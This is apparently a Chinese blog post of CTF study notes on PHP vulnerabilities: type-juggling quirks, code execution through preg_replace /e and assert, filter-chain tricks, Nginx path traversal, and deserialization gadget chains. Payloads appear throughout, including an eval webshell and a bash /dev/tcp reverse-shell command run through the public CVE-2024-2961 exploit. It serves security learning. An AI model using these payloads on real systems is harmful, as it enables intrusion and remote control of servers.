PHP漏洞

Toretto·2024-12-03 18:46·56 次阅读

PHP漏洞

PHP漏洞

一、函数漏洞#

[PHP详细](C:\Users\13700\Documents\笔记\计算机语言\PHP 教程.md)

intval大量漏洞#

Copy
intval() 函数可以获取变量的「整数值」。常用于强制类型转换 int intval( $var, $base ) $var:需要转换成 integer 的「变量」 $base:转换所使用的「进制」 第二个参数 $base 允许为空。 特性: 1.进制自动转换:当 base 为空时,默认值是 0,会根据 $var 的格式来调整转换的进制。 如果 $var0 开头,就使用 8进制 如果 $var0x开头,就使用 16进制 同理, $var0b开头 就是是 2 进制 否则,就使用 10进制 绕过思路:当某个数字被过滤时,可以使用它的 8进制/16进制来绕过。 注意:前提是 $var是数字而不是字符串(比如: "0x1","02","0b1010" 就不行) 2.转换数组:intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素。 「空数组」返回 0 「非空数组」返回 1 绕过思路:对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true3.转换小数:intval() 转换小数类型时,只返回个位数,不遵循四舍五入的原则。 绕过思路:当某个数字被过滤时,可以给它增加小数位来绕过。 4.转换字符串:intval() 转换字符串类型时,会判断字符串是否以数字开头 如果以数字开头,就返回1个或多个连续的数字 如果以字母开头,就返回0 5.取反~:intval() 函数支持一些特殊符号的,比如~取反。 绕过思路:当某个数字被过滤时,可以两次取反来绕过。 6.算数运算符:intval() 函数支持算数运算符,如果传入的 $var参数包含算数运算符,会先运算,再对运算结果进行转换。 绕过思路:当某个数字被过滤时,可以使用算数运算符绕过。 7.浮点数精度缺失问题:由于PHP中的浮点数是「弱类型」,存在「精度丢失」的问题,在转换时可能会出现意料之外的情况。 var_dump(intval(0.58*100.0)); int(57) if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) { echo $flag; } 绕过思路: echo intval(1e10); // 1410065408 echo intval('1e10'); // 1 这里看出,当科学计数法作为数时输出正常的,作为字符串时输出e前面的数。那这里就可以利用科学计数法绕过。 我们就拿2e4用吧,传入'2e4'它会被当2比较,+1后会被PHP强制转换再比较

preg_replace代码执行#

Copy
注意:下面的方法在php7被禁用了 介绍: 首先我们来了解preg_replace,这是一个php中的函数,主要用于执行一个正则表达式的搜索和替换。 1.搜索:preg_replace(正则表达式,主字符串) 2.替换:preg_replace(正则表达式,替换字符串,主字符串) 原理: 在正则匹配e模式下的 preg_replace 可以让第二个参数'替换字符串'当作代码执行 注意:replace只返回一个新的字符串,不对原来的字符串产⽣影响。(除非用原来的字符串赋值) 1.子模式捕获匹配: <?php $str = "abcdec"; $new_str = preg_replace("/(abc)(dec)/", '\2-\1', $str); //两个子模式(abc)和(dec)\1就是代表(abc)子模式的结果,\2就是(dec)子模式的结果 echo $new_str; //回显dec-abc ?> 2./e执行: <?php $a = "phpinfo"; $str = 'string'; $new_str = preg_replace('/abc/e', $a(), $str); //执行了phpinfo(); ?> 3.子模式和/e的应用场景: <?php $a = $_GET['a']; $str = $_GET['b']; $new_str = preg_replace('/('.$a.')/e', "\\1", $str); ?> 这里使用的是\\1,因为在PHP的双引号字符串中,要表达一个" \ "(反斜杠),我们需要使用"\\"(两个反斜杠)进行转义 因此\1 不会执行,因为它只是一个替换序列,代表相应的子串,\\1 会执行,因为它被视为一个字符串中的代码。 这里经过测试可以使用的pyload有 ?a=.*&b=phpinfo() ?a=\S*&b=phpinfo() ?a=phpinfo\(\)&b=phpinfo() 特殊情况: preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); # ${}作为函数参数时,会优先执行 (PHPv8.2 该特性被移除) strtolower("${phpinfo()}"); //先执行phpinfo ,返回phpinfo页面,在执行strtolower函数,因为phpinfo函数无返回值,所以strtolower返回""(空白字符)

in_array弱类型#

Copy
php版本:(PHP 4, PHP 5, PHP 7) 功能 :检查数组中是否存在某个值 定义 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) 设计缺陷: 在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 true ,否则返回 false 如果第三个参数没有被设置或者设置为 false 时,那么从 $haystack 比较 $needle时,采用的就是弱类型比较 in_array()函数检测上传文件时候,未将第三个参数设置为true,从而导致攻击者构造文件名绕过服务端的检测。例如上传7shell.php在in_array()函数强制转换后变为7.php

include结构#

注意:include并不是php的函数,而是一种语言结构,类似的还有:

if、echo、isset、unset(销毁变量)、empty(检查变量是否为空)、die、exit、for、foreach、do-while

Copy
include(include_path) include_path简单理解就是类似系统中的PATH环境变量 被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照include_path 指定的目录寻找。 比如:include_path设置为/var/www/,在执行include "flag.txt",路径就是/var/www/flag.txt 如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path 都会被完全忽略

利用漏洞:

​ 题目要求我们包含的路径里有:a.php(但是我们想包含flag.php)

Copy
pyload="a.php/../flag.php"

​ 假如:当前文件为index.php,位于/var/www/html/,且flag.php和a.php同样在该目录下
​ 首先:"a.php",进入这个目录,是的哪怕这个目录不存在,因为include会一直尝试到最后才会报错。这样我们当前路径为:"/var/www/html/a.php/"
​ "../":返回上一级,当前目录为"/var/www/html/",回到了flag.php所在路径
​ 最后找到flag.php这个文件

注意:一般情况下include函数会将非法字符视为普通的string,但是某些系统中还是会报错,根据不同题目可以采取一下如编码绕过的方法

is_numeric宽松匹配#

is_numeric()函数用于检测变量是否为数字或数字字符串。

​ 如果将二进制或十六进制数据传递至is_numeric()函数,则也会返回为true,即被is_numeric()函数检测是数字。现在,我们进行测试。编写is_numeric.php文件,并将以下代码输入后,保存。

Copy
<?php $v = is_numeric (0x32DA) ? true : false; var_dump ($v); ?> #再执行该程序,可得到结果:bool(true)。

is_numeric() 会对「科学计数法」(0e开头)返回 true 。数值型和字符型都可以。

Copy
var_dump(is_numeric(0e123)); var_dump(is_numeric('0e123')); echo (int)is_numeric(0e123).PHP_EOL; # PHP_EOL是php中的换行 echo (int)is_numeric(0e9999).PHP_EOL; echo (int)is_numeric('0e123'); 输出>> bool(true) bool(true) 1 1 1

数字waf绕过

Copy
ASCII绕过: 模糊测试(fuzz脚本) <?php $fuzz='36'; for($i = 0; $i<129; $i++){ $num=chr($i).$fuzz; if(trim($num)!==$fuzz && is_numeric($num) && $num!==$fuzz){ echo urlencode(chr($i))."\n"; } } ?> php有一个特性是,小数点后超过161位做平方运算时会被截断

assert代码执行#

Copy
assert()会检查指定的assertion并在结果为false时采取适当的行动。在PHP5或PHP7中,如果assertion是字符串,它将会被assert()当做PHP代码来执行。 注意:eval并不是php函数 所以为我们无法通过变量函数的方法进行调用 例如: <?php $file = "templates/" . $_GET['page'] . ".php"; assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); //strpos从字符串file中查找 .. 并返回 .. 所在的下标,如果没有就返回false //当assert断言,判断file里是否含有 .. ,如果有则die ?> //原理:利用引号和注释来改造assert语句,使assert执行system等函数 pyload:page=’) or system(‘cat ./templates/flag.php’);// //使用单引号,避免和双引号闭合导致报错,真实执行情况如下: assert("strpos('templates/') or system('cat ./templates/flag.php');//', '..') === false") or die("Detected hacking attempt!"); //执行的代码为:strpos('templates/') or system('cat ./templates/flag.php');//', '..') === false //由于“//”的存在,后面的“', '..') === false”不会执行,而strpos('templates/')报错,所以只执行system() //如果不指定子字符串,strpos 将会查找字符串中第一次出现的空字符串的位置,也就是字符串的开始位置,下标为0

extract变量覆盖#

Copy
extract(array) 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。 $flag = 'xxx'; extract($_GET); if (isset($gift)) { $content = trim(file_get_contents($flag)); if ($gift == $content) { echo 'hctf{…}'; } else { echo 'Oh..'; } } GET请求 ?flag=&gift=,extract()会将$flag$gift的值覆盖了,将变量的值设置为空或者不存在的文件就满足$gift == $content。 最终PAYLOAD: GET DATA: ?flag=&gift= //注意:extract函数必须在变量定义之后才能覆盖 extract($_GET); //在变量定义之前,则无法覆盖 $flag = 'xxx';

call_user_func代码执行#

Copy
call_user_func()函数,接收一个回调函数和任意参数,其中参数会当做回调函数的参数 如果第一个参数是数组,php会将数组中第一个值视为类,第二个值视为类中的函数

mt_rand伪随机#

Copy
mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。 使用语法:mt_rand(); or mt_rand(min,max);,生成一个区间内的随机数。 其参数min默认为最小值0,max默认为可生成的随机数最大值2147483647,由 mt_getrandmax()函数获得。 在php中每一次调用 mt_rand()函数,都会检查一下系统有没有播种。(播种为 mt_srand()函数完成),当随机种子生成后,后面生成的随机数都会根据这个随机种子生成。所以同一个种子下,随机数的序列是相同的,这就是漏洞点,我们先看两个例子。 <?PHP mt_srand(0); echo mt_rand(); echo mt_rand(); echo mt_rand(); ?> 输出: 963932192 1273124119 1535857466 #在上面的代码中,我们把随机数播种为0,每次运行都会获得相同的序列,这就是伪随机: 当我们去掉 mt_srand()函数时,再次重复运行实例,系统会自动为 rand 函数播种,但也是播种一次。因此多次重复运行的结果也相同 所以在知晓一串随机序列的条件下,基于序列相同的seed爆破就是可能实现的。

mb_substr、mb_strpos逃逸#

函数介绍:

​ mb_strpos() 和 mb_substr() 是 PHP 中用于处理多字节字符的函数,专门用于处理 UTF-8 或其他多字节编码的字符串。

  • (1) mb_strpos : 用于查找一个字符串在另一个字符串中第一次出现的位置(索引),返回结果是该子字符串第一次出现的位置(索引)。

    Copy
    mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = null): int|false $haystack:要在其中搜索子字符串的源字符串。 $needle:要搜索的子字符串。 $offset(可选):从哪个位置开始搜索,默认为 0$encoding(可选):要使用的字符编码,默认为内部字符编码。
  • (2) mb_substr : 用于获取一个字符串的子串,返回结果是指定位置和长度的子字符串。

    Copy
    mb_substr(string $string, int $start, int $length = null, string $encoding = null): string|false $string:要截取的原始字符串。 $start:截取的起始位置。如果是负数,则表示从末尾开始计数。 $length(可选):要截取的长度。如果未指定,则默认截取至字符串的末尾。 $encoding(可选):要使用的字符编码,默认为内部字符编码。

字符串逃逸漏洞

原理:

​ 当以 \xF0 开头的字节序列出现在 UTF-8 编码中时,通常表示一个四字节的 Unicode 字符。这是因为 UTF-8 编码规范定义了以 \xF0 开头的字节序列用于编码较大的 Unicode 字符。

不符合4位的规则的话,mb_substr和mb_strpos执行存在差异:

  • (1) mb_strpos遇到\xF0时,会把无效字节先前的字节视为一个字符,然后从无效字节重新开始解析
  • (2) mb_substr遇到\xF0时,会把无效字节当做四字节Unicode字符的一部分,然后继续解析
Copy
mb_strpos("\xf0\x9fAAA<BB", '<'); #返回4 \xf0\x9f视作是一个字节,从A开始变为无效字节 #A为\x41 上述字符串其认为是7个字节 mb_substr("\xf0\x9fAAA<BB", 0, 4); #"\xf0\x9fAAA<B" \xf0\x9fAA视作一个字符 上述字符串其认为是5个字节

结论:mb_strpos相对于mb_substr来说,可以把索引值向后移动

举例:

Copy
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节 每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节 每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

file_put_contents死亡绕过#

File_put_contents函数中遇见exit();的绕过技巧

Copy
file_put_contents($filename,'<?php exit();'.$content);

使用php://filter伪协议

Copy
$filename="php://filter/write=convert.base64-decode/resource=1.php" #也可以用string.rot13 $content="a".base64_encode("<?php phpinfo();?>") #Base64编码是4位开始解码的,phpexit是7位所以我们需要在前补一位就是a,这样前面的才会被base64进行解码

https://pic4.zhimg.com/v2-25f5a6163e0f283b20bd20d2a83fda49_1440w.jpg

Copy
?content=php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20/flag%0a%23/resource=.htaccess # php://filter/write=string.strip_tags/?>php_value auto_prepend_file flag\n#/resource=.htaccess

死亡绕过相关资料:https://blog.csdn.net/Zero_Adam/article/details/116170568

二、PHP漏洞#

Nginx目录穿越漏洞#

目录穿越漏洞

​ Nginx的目录穿越漏洞严格定义的话,并非是漏洞,而是Nginx的特性,由于运维人员或者开发人员配置错误而导致的漏洞。
该问题出现在Nginx的虚拟目录配置上,也就是Alias。Alias正如其名,alias指定的路径是location的别名,不管location的值怎么写,资源的真实路径都是Alias指定的路径,例如:

Copy
location /margin { alias /home/www/margin/; }

​ 配置以上内容后如果访问http://xxx/margin/logo.png,其实真的资源是定位到/home/www/margin/logo.png下。
但此时是有问题的,如果location后的路径后面不加/,便会出现目录穿越的漏洞,对应关系如下:

Copy
请求 http://xxx/margin../ 变为 /home/www/margin/../

白名单目录穿越#

​ 白名单目录穿透漏洞是一种安全漏洞,攻击者可以利用它访问未授权的目录和文件。在login.html中,如果存在白名单目录穿透漏洞,攻击者可以通过提交特定的请求,绕过登录验证,访问未授权的文件或目录。

Copy
http://61.147.171.105:51508/login.html/../flag.html //访问白名单目录login.html,然后通过../回到正常目录下,再访问flag.html即可进入到flag页面

​ 解决这种漏洞的方法是使用有效的输入验证和过滤。您需要仔细检查所有可能影响系统的输入,并使用适当的输入验证和过滤技术来确保输入不包含任何非法字符或指令。建议您使用安全框架或库,如ASP.NET MVC中提供的Antiforgery类,来保护您的应用程序免受这种漏洞的攻击。

​ 此外,您还可以使用其他安全措施,如访问控制,为敏感文件和目录添加额外的身份验证和权限检查。您还可以使用Web应用程序防火墙(WAF)来监视和阻止攻击尝试。

phpfilter执行RCE#

漏洞描述#

​ PHP利用glibc iconv()中的一个缓冲区溢出漏洞CVE-2024-2961,实现将文件读取提升为任意命令执行漏洞

漏洞原理#

iconv()函数是 Glibc 提供的用于字符编码转换的API,可以将输入转换成另一种指定的编码输出。比如将原本为gbk编码的输入转化为utf-8的编码输出。作者发现当将“劄”、“䂚”、“峛”或“湿” 等采用utf-8编码的汉语生僻字(博大精深的汉字)转化为ISO-2022-CN-EXT字符集输出时,会导致输出缓冲区有1-3字节的溢出

【 Glibc(GNU C Library)是 GNU 操作系统的标准 C 库,提供了 C 语言的基本功能,如输入输出、内存管理和字符串处理等。它是许多 Linux 发行版的核心组件,支撑着大多数应用程序的运行。】

​ 每个搞安全的师傅对php伪协议php://filter一定不陌生,php://filter也叫php过滤器,我们经常使用convert.base64-encode这个过滤器来进行文件读取。php过滤器中有一个叫convert.iconv.X.Y 的过滤器也是将字符集从 X 转换为 Y,后来证实在linux上其底层就是使用了glibc的iconv()!!!

​ 利用原理涉及到了php底层,所以比较难懂,具体细节可以看blog:csdn详解

代码执行复现#

​ 利用脚本执行了三个请求:首先下载/proc/self/maps文件,并从中提取PHP堆的地址和libc库的文件名。接着下载libc二进制文件来提取system()函数的地址。最后执行一次最终请求来触发溢出并执行预设的任意命令。漏洞利用脚本地址:

原作者exp

下载原作者的exp并安装相关依赖(需要Linux和Python 3.10解释器)

Copy
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py pip3 install pwntools pip3 install https://github.com/cfreal/ten/archive/refs/heads/main.zip

vulhub有相关的虚拟环境

Copy
git clone https://github.com/vulhub/vulhub.git cd vulhub/php/CVE-2024-2961/ sudo docker-compose up -d

执行反弹shell

Copy
python3 cnext-exploit.py url "bash -c 'bash -i >& /dev/tcp/your_ip/your_port 0>&1'" #或者一句话木马 python3 cnext-exploit.py http://192.168.26.155:8080/index.php "echo '<?=@eval(\$_POST[0]);?>'>1.php"

三、PHP原生类#

通过脚本找一下php原生类

Copy
<?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } } }

ctf常用的php原生类

文件类#

Copy
1.遍历文件目录的类: -------------------------------------------------------------------------------------------------------------- DirectoryIterator 类 实例化时,接收一个路径,通过打印触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件 $a = new DirectoryIterator("/"); //也可以结合glob协议进行多目录遍历 echo $a; 配合glob://协议使用模式匹配来寻找我们想要的文件路径: echo new DirectoryIterator("glob:///*root*"); //也可以目录穿越,确定已知的文件的具体路径: echo new DirectoryIterator("glob://./././flag"); //目录穿越 --------------------------------------------------------------------------------------------------------------- FilesystemIterator类 基本和DirectoryIterator一样 --------------------------------------------------------------------------------------------------------------- GlobIterato类 名字可以看出这个类是自带glob协议的,所以不用再使用glob协议了 例如: $a = new GlobIterator("/"); echo $a; --------------------------------------------------------------------------------------------------------------- 2.文件读取类 --------------------------------------------------------------------------------------------------------------- SplFileObject类 当用文件目录遍历到了敏感文件时,可以用SplFileObject类,同样通过echo触发SplFileObject中的__toString()方法。(该类不支持通配符,所以必须先获取到完整文件名称才行),而且这个方法只能读一行! echo new SplFileObject("./"); //这个方法的局限性就是只能查一个路径上的第一个文件。可以用file伪协议来读取 //SplFileInfo是SplFileObject的父类,它的__toString()方法只能返回文件的路径,或者任意字符串(用户传递) 使用php伪协议读取: echo new SplFileObject("php://filter/convert.base64-encode/resource=flag.php"); --------------------------------------------------------------------------------------------------------------- 3.SimpleXMLElement SimpleXMLElement 这个内置类用于解析 XML 文档中的元素

报错类#

Copy
1.Error内置类 条件: 适用于 php7 、开启报错的情况下 Error类是php 的一个内置类,用于自动自定义一个Error ,在php7的情况下可能会造成一个xss漏洞,因为他内置有一个 __toString()方法,在ctf反序列化中,如果flag在cookie中可以尝试利用Error去触发__toString() $a = unserialize($_GET['xxh']); echo $a; pyload: xxh=echo serialize(new Error("<script>alert('1')</script>")); ---------------------------------------------------------------------------------------------------------------- 2.Excepthion 内置类 条件:适用于 php5,7 、 开启报错的情况下 $a = unserialize($_GET['xxh']); echo $a; pyload: xxh=echo urlencode(serialize(new Exception("<script>alert('1')</script>"))); 命令执行漏洞: //不限于Error函数 <?php $a = $_GET['a']; $b = $_GET['b']; eval("echo new $a($b());"); ?> pyload: a=error&b=system('whoami') 绕过hash <?php highlight_file(__FILE__); $a = new Error("null",1);echo $a;$b = new Error("null",2);echo $b; if($a!==$b && md5($a)===md5($b) && sha1($a)===sha1($b)){ echo "Success!"; } ?> PHP内置类来绕过 用的两个比较多的内置类就是 ExceptionError ,他们之中有一个 __toString 方法,当类被当做字符串处理时,就会调用这个函数,以Error 类为例,我们来看看当触发他的 __toString 方法时,会以字符串的形式输出当前报错,包含当前的错误信息(payload)以及当前报错的行号(记住要写在同一行才能使报错信息一致)。 $a=new Error('H3resk1t',1);$b=new Error('H3resk1t',2); $a$b 这两个对象本身是不同的,但是 __toString 方法返回的结果是相同的,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号 //Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7

其他类#

Copy
1.ReflectionMethod类 有__toString函数,也可以触发反序列化漏洞 ReflectionMethod 类中有很多继承方法可以使用,比如这个 getDocComment() 方法,我们可以用它来获取类中各个函数注释内容 <?php show_source(__FILE__); class a{ public function a(){ //flag{123} } } $a = $_GET['a']; $b = $_GET['b']; $c= $_GET['c']; $d=new $a($b,$c); echo($d->getDocComment()); ?> pyload:?a=ReflectionMethod&b=a&c=b //利用原生类ReflectionMethod中的getDocComment()函数类读取注释 2.ZipArchive类 可以通过本类执行一些文件操作,在CTF可以用来删除waf open(打开一个压缩包文件) $zip = new \ZipArchive; $zip->open('test_new.zip', \ZipArchive::CREATE) 常用方法 ZipArchive::addEmptyDir:添加一个新的文件目录 ZipArchive::addFile:将文件添加到指定zip压缩包中 ZipArchive::addFromString:添加新的文件同时将内容添加进去 ZipArchive::close:关闭ziparchive ZipArchive::extractTo:将压缩包解压 ZipArchive::open:打开一个zip压缩包 ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件 ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除

例题#

1.HECTF原生类的反序列化

Copy
Welcome to HECTF Have fun!!!😊 <?php error_reporting(0); class A{ public $file; public function __construct(){ echo "Welcome to HECTF Have fun!!!😊<br>"; } public function __wakeup(){ if(isset($this->file->var)){ $this->file = "flag.php"; } else{ $this->file = "index.php"; } } public function __destruct(){ highlight_file($this->file); } } class B{ public $str; public $huang; public function __isset($arg) { echo "难道我真的要失败了,吗".$this->str; } public function __call($fun1,$arg) { return $this->huang->str; } } class C{ public $eee; public $aaa="who are you?"; public $ccc; public function __toString() { $this->eee->flag(); } public function __get($css) { $function = $this->ccc; return $function(); } } class D{ private $ddd; private $ext; public function flag(){ $this->ext->nisa($this->ddd); } public function __invoke() { echo new $this->ddd($this->ext); } } $gagaga = new A(); unserialize(serialize($gagaga)); $data = $_POST['data']; unserialize($data);

write up

Copy
明显有一个原生类利用: echo new $this->ddd($this->ext); unserialize会调用wakeup ,wakeup里有isset,会调用B.__isset会执行echo,调用C.toString会调用flag(),flag()方法不存在会调用B.__call,retrun str属性 属性不存在调用C.__get(),function()类当做方法使用会调用__invoke(),invoke里边 是echo new $a($b)的形式 ,可以触发反序列化原生类 读取文件的话一般就用SplFileObject但这个函数必须知道文件名是什么,可以用DirectoryIterator类读取到flag的文件名为ffflllllaaaaaaggggg.txt,之后用SplFileObject来读取,但只能读取一行,可以用file伪协议来读取 <?php class A{ public $file; } class B{ public $str; public $huang; } class C{ public $eee; public $aaa; public $ccc; } class D{ public $ddd; public $ext; } $gagaga = new A(); $gagaga->file=new B(); $gagaga->file->str =new C(); $gagaga->file-> str -> eee = new B(); $gagaga->file-> str -> eee -> huang = new C(); $gagaga->file-> str -> eee -> huang ->ccc = new D(); $gagaga->file-> str -> eee -> huang ->ccc ->ddd ="SplFileObject"; $gagaga->file-> str -> eee -> huang ->ccc ->ext ="php://filter/read=convert.base64-encode/resource=../../../ffflllllaaaaaaggggg.txt"; echo (serialize($gagaga));

四、PHP反序列化漏洞#

基本原理#

Copy
1.什么是序列化和反序列化? 列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。 2.什么是反序列化漏洞? 当程序在进行反序列化时,会自动调用一些函数,例如__wakeup(),__destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。网 3.什么是PHP魔术方法? 魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,利用魔术方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)。 问题就出现在重载过程中,执行了相关代码。 4.一些常见的魔术方法: __construct() :构造函数,当创建对象时自动调用。//在序列化和反序列化过程中不会触发构造函数 __destruct():析构函数,在对象的所有引用都被删除时或者对象被显式销毁时调用,当对象被销毁时自动调用。 __wakeup():进行unserialize时会查看是否有该函数,有的话有限调用。会进行初始化对象。 __toString():当一个类被当成字符串时会被调用。 __sleep():当一个对象被序列化时调用,可与设定序列化时保存的属性。 __get() 当访问一个对象不存在的变量时就会被触发. __invoke()当对象被当做方法使用时,这个方法会被自动调用 __set() //在给不可访问、不存在的对象成员属性赋值时触发 __isset() //当对不可访问属性调用isset()或empty()时触发 __unset() //在不可访问的属性上使用unset()时触发 __clone() //使用clone关键字拷贝完一个对象后触发 __unserialize __debugInfo() //当通过 var_dump() 转储对象,获取应该要显示的属性的时候,该函数就会被调用。 5.如何利用反序列化漏洞? 由于反序列化时unserialize()函数会自动调用wakeup(),destruct(),函数,当有一些漏洞或者恶意代码在这些函数中,当我们控制序列化的字符串时会去触发他们,从而达到攻击。 6.原理: 1.反序列化是根据序列化字符串提供的内容来执行操作,即使字符串中的类不存在或者类的值不存在也没有影响。 例如:class test{$a=1;} $b=unserialize('O:4:"test":1{i:100000;}'); test类中的属性a的值为1,但是序列化字符串中a的值为100000,这并不会影响反序列化的执行 //所以,反序列化的执行结果与实际原有类的预设等都没有关系,只与序列化字符串的内容有关。 2.反序列化不会触发类中的成员方法,只能触发类中的魔术方法。但是反序列化的返回对象可以调用成员方法,并且成员属性按照序列化字符串的结果执行,而不是预设属性执行。 <?php class test{ $a=1; function echo_a(){ echo $a; } } $b=unserialize('O:4:"test":1{i:100000;}'); $b->echo_a(); //输出:100000 ?>

CTF考点#

Copy
一.利用方法: 1.一般情况为反序列化接收的字符串可控:unserialize(_$GET('str')); 2.魔术方法:触发条件 __construct() // 实例化对象时会自动触发构造函数,反序列化时不会触发,因为它早就已经实例化过了。 __destruct() //析构函数,在对象被销毁时触发,例如:实例化对象结束触发,反序列化结束也会触发,因为两者最后都被销毁了。 __sleep() //序列化时会检查类中是否存在sleep方法,存在则先执行该方法再序列化 __wakeup() //反序列化检查类中的wakeup方法,存在则先执行再反序列化 //当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。像下面那样 $b='O:4:"xctf":2:{s:4:"flag";s:3:"111";}'; //序列化内部的字符串必须用双引号,构造时可以用单引号扩住 3.注意:php反序列化过程中,时常会遇到一个特定属性并不是public的情况。针对这样的属性,php在序列化字符串时会加入一个特定前缀来描述这个属性 public属性的变量序列化化后直接就是变量名 private属性的变量序列化后会在前面加00类名00 protected属性的变量序列化后会在前面加00*00 如果题目要求我们直接传入反序列化字符串,为了防止被截断,或者其他情况,有以下几种解决方法: 1.使用urlencode编码poc,将00字符转为%00 O:5:"DemoX":3:{s:1:"a";N;s:8:"%00DemoX%00b";N;s:4:"%00*%00c";N;} 2.在PHP反序列化时,将s改为大写S,这样可以反序列化时可以识别十六进制字符。 O:5:"DemoX":3:{s:1:"a";N;S:8:"\00DemoX\00b";N;S:4:"\00*\00c";N;} 3.php7.1+版本对属性类型不敏感,所以可以直接使用public属性的变量。 O:5:"DemoX":3:{s:1:"a";N;s:8:"b";N;s:4:"c";N;} 无中生有

绕过正则#

Copy
如果反序列化的字符串被过滤了可以利用php版本漏洞来绕过 1.情况一:过滤了"O:数字" 利用加号绕过(注意在url里传参时+要编码为%2B) 比如:O:+4:"Demo":1:{S:10:"\00Demo\00file";s:3:"abc";} (如果只是过滤了首部的内容,也就是有脱字符^表示从首部开始,可以用数组绕过) 利用数组对象绕过,如 serialize(array($a)); a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构) 比如:a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}} 2.情况二:序列化字符串禁止出现某些变量值(例如:flag) 引用类型绕过(地址绕过): 例如:要求序列化字符串不能出现aaa,但是变量a的值为aaa才能输出flag,如果类中存在值为aaa的变量b,则让a=b即可 O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;} s:1:"b";R:2;` 表示属性 "b" 是一个引用类型(R),引用编号是 2(需要构造脚本) 3.情况三:序列化字符串中的某些变量名被过滤 转义字符绕过(十六进制绕过) 例如:\73在字符串中是以16进制表示的s(小写),一个\是转义字符。同时表示数据类型的S要大写,在序列化字符串当中会被当作16进制解析 O:4:"test":1:{s:8:"username";s:5:"admin";} O:4:"test":1:{S:8:"u\73ername";s:5:"admin";} //一个\是转义字符

同地址绕过#

Copy
class Flag { public $token; public $password; public function __construct($a, $b) { $this->token = $a; $this->password = $b; //我们只要让password的地址与token相同,那么不管token后面被赋予什么值,password都会随之改变 } } if (isset($_GET['pop'])) { $pop = unserialize($_GET['pop']); $pop->token=md5(mt_rand()); if($pop->token === $pop->password) { //两个地址相同的变量一定是相等的 echo $flag; } } ?pop=O:4:"Flag":2:{s:5:"token";s:2:"nb";s:8:"password";R:2;}

Wakeup绕过#

变量引用绕过#

​ 这个其实不是语言特性漏洞,而是代码逻辑漏洞。只有在特定代码情况下才会产生

Copy
$n='aa'; $m=&$n; //m引用了n $m='bb'; echo $n; //bb

举例:

Copy
class myclass{ public $start; public $end; public $payload='hacker'; public function __construct($start){ $this->start=$start; } public function __wakeup(){ $this->payload="hacker"; $this->end = $this->start; eval($this->payload); } } $a= new myclass('phpinfo();'); $a->payload = &$a->end ; #当end和payload相互引用时,修改end的值也是在修改payload的值 $a->__wakeup(); echo $a->payload."<br>";

对象的属性数量不一致#

条件:PHP5 < 5.6.25、PHP7 < 7.0.10

原理:PHP的fast-destruct回收机制(CVE-2016-7124),当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

如下:

Copy
$b='O:4:"xctf":2:{s:4:"flag";s:3:"111";}'; // 对象里只有一个$flag=111的变量,但是字符串表示对象属性个数的值却是2,被PHP当作垃圾回收(本质是GC回收机制)

特殊情况:当类中嵌套了另一个类,那么就要分两种情况:一是内部类属性数量不一致,二是外部类属性数量不一致

原理:
反序列化,它是先从里面里面开始反序列话,而不是最外面。内部类属性数量不一致,直接把内部类当垃圾回收,所以不触发内部类__wakeup(),只触发外部类的__destruct()。外部类属性数量不一致,外部类直接被当成垃圾回收,先触发了外部类__destruct(),而内部类正常,就正常触发内部类__wakeup()

Copy
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:3:“end”;s:1:“1”;} // 正常payload O:1:“A”:2:{s:4:“info”;O:1:“B”:2:{s:3:“end”;N;}s:3:“end”;s:1:“1”;} // 内部类属性数量不一致,只触发外部类的__destruct() O:1:“A”:3:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:3:“end”;s:1:“1”;} // 外部类属性数量不一致,先外类__destruct()后内类__wakeup()

属性值的长度不匹配#

原理:GC回收机制利用(也叫 php issue#9618)

版本条件: 7.4.x -7.4.30 / 8.0.x

Copy
